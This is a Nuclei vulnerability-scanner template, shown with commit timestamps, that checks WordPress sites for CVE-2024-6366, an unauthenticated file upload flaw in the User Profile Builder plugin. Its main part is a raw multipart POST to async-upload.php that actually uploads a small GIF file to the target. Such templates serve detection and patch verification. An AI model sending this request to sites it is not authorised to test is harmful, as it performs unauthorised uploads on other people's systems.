nuclei-templates/http/cves/2024/CVE-2024-6366.yaml

89 lines
2.6 KiB
YAML
Raw Normal View History

2024-07-29 17:07:32 +00:00
id: CVE-2024-6366
info:
2024-07-30 07:28:50 +00:00
name: User Profile Builder < 3.11.8 - File Upload
2024-07-29 17:07:32 +00:00
author: securityforeveryone
severity: high
description: |
The User Profile Builder WordPress plugin before 3.11.8 does not have proper authorisation, allowing unauthenticated users to upload media files via the async upload functionality of WP.
reference:
- https://wpscan.com/vulnerability/5b90cbdd-52cc-4e7b-bf39-bea0dd59e19e/
- https://www.incibe.es/en/incibe-cert/early-warning/vulnerabilities/cve-2024-6366
2024-07-30 07:28:50 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2024-6366
2024-07-29 17:07:32 +00:00
classification:
2024-07-30 07:28:50 +00:00
cve-id: CVE-2024-6366
2024-07-29 17:07:32 +00:00
epss-score: 0.00043
epss-percentile: 0.09351
metadata:
vendor: cozmoslabs
product: user-profile-builder
framework: wordpress
publicwww-query: "/wp-content/plugins/profile-builder"
2024-07-30 06:34:02 +00:00
tags: cve,cve2024,wpscan,file-upload,instrusive,wp-plugin,wordpress,wp,profile-builder
2024-07-29 17:07:32 +00:00
flow: http(1) && http(2)
variables:
filename: "{{to_lower(rand_text_alpha(12))}}"
http:
- raw:
- |
2024-07-30 07:28:50 +00:00
GET / HTTP/1.1
2024-07-29 17:07:32 +00:00
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
2024-07-30 07:28:50 +00:00
- 'contains(body,"/plugins/profile-builder")'
2024-07-29 17:07:32 +00:00
internal: true
- raw:
- |
POST /wp-admin/async-upload.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="wppb_upload"
true
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="meta_name"
{{filename}}.gif
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="_wpnonce"
e8
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="action"
upload-attachment
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="async-upload"; filename="{{filename}}.gif"
Content-Type: image/jpeg
GIF89a
------WebKitFormBoundary7MA4YWxkTrZu0gW--
matchers-condition: and
matchers:
- type: word
part: body
words:
- '"success":true'
- '"id"'
- '"uploadedTo"'
condition: and
- type: word
part: header
words:
- 'Content-Type: text/plain'
- type: status
status:
- 200
# digest: 4a0a00473045022100c097589d319c657b57ec2360a4918baeb01717391160a286990beb6798a607bf02204f0b692c85592fede96803d81734e118aea1c204b84e51a0e212e8d0c557c868:922c64590222798bb761d5b6d8e72950